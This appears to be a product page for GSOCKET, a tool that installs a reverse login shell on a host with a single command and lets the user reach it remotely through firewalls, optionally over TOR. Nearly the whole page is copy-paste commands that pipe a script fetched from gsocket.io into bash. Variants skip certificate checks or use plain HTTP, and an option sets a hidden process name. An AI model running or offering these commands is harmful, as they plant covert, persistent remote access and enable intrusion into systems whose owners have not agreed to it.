Connect like there is no firewall. Securely.
Deploy a reverse login shell with a single command (fully automated) - and access the shell remotely - encrypted - and via TOR if you like.
This must be the quickest way to access a system – anonymous
Use either one of these two commands to install:
bash -c "$(curl -fsSL gsocket.io/x)"
bash -c "$(wget --no-verbose -O- gsocket.io/x)"
Use either one of these two commands to uninstall:
GS_UNDO=1 bash -c "$(curl -fsSL gsocket.io/x)"
GS_UNDO=1 bash -c "$(wget --no-verbose -O- gsocket.io/x)"
Use either command to access the remote host:
S="ExampleSecretChangeMe" bash -c "$(curl -fsSL gsocket.io/x)"
S="ExampleSecretChangeMe" bash -c "$(wget --no-verbose -O- gsocket.io/x)"
This is just one of many GSOCKET examples. More on GitHub.
Deploy on a host
Log in to the host from your workstation
Ignore SSL / Certificate warnings:
bash -c "$(curl -fsSLk gsocket.io/x)"
bash -c "$(wget --no-check-certificate -qO- gsocket.io/x)"
Deploy with a predefined secret:
X=ExampleSecretChangeMe bash -c "$(curl -fsSL gsocket.io/x)"
Deploy with curl and fallback to wget:
command -v curl >/dev/null && bash -c "$(curl -fsSL gsocket.io/x)" || bash -c "$(wget --no-verbose -O- gsocket.io/x)"
Deploy with a predefined secret. Try curl and fallback to wget:
X=ExampleSecretChangeMe && (command -v curl >/dev/null && X=$X bash -c "$(curl -fsSL gsocket.io/x)" || X=$X bash -c "$(wget --no-verbose -O- gsocket.io/x)")
Deploy from self-extracting shell-script deploy-all.sh without fetching any packages and using good old plain HTTP:
wget --no-hsts http://nossl.segfault.net/deploy-all.sh && \
bash ./deploy-all.sh
Useful environment variables:
S= | Connect to a system (or use gs-netcat -s <secret> -il ). |
X= | Set a predefined secret for the installation (X like in inXstallation). |
GS_NOINST=1 | Only start but without installing (will not survive a reboot). |
GSOCKET_ARGS= | Use additonal arguments. Most often used to force TOR in combination with S=, e.g. GSOCKET_ARGS="-T" S=<secret> bash -c "$(curl -fsSLk gsocket.io/x) . |
GS_DSTDIR= | Set the installation directory. The default is to pick the most suitable automatically. Use find . -type d -writable . |
GS_URL_BASE= | Use URL for static binaries. The default is https://github.com/hackerschoice/binary/raw/main/gsocket/bin/. |
GS_OSARCH= | Force architecture. The default is to pick the most suitable automatically. |
GS_DEBUG=1 | Verbose output and other debug related settings. Often used together with GS_DEBUG=1 GS_NOSTART=1 GS_NOINST=1 bash -c "$(curl -fsSL gsocket.io/x)" . |
GS_HIDDEN_NAME= | Use a custom hidden process name. |
TMPDIR= | Use a custom temporary directory. Try TMPDIR=$(pwd) |
If all fails:
Download the static binary from https://github.com/hackerschoice/binary/tree/main/gsocket/bin (likely gs-netcat_x86_64-alpine.tar.gz) and extract and start gs-netcat manually:
curl -fsSL https://github.com/hackerschoice/binary/raw/main/gsocket/bin/gs-netcat_x86_64-alpine.tar.gz | tar xz -C /bin gs-netcat
SECRET=$(/bin/gs-netcat -g)
GSOCKET_ARGS="-liD -s $SECRET" /bin/gs-netcat
echo "Connect with: gs-netcat -s $SECRET -i"
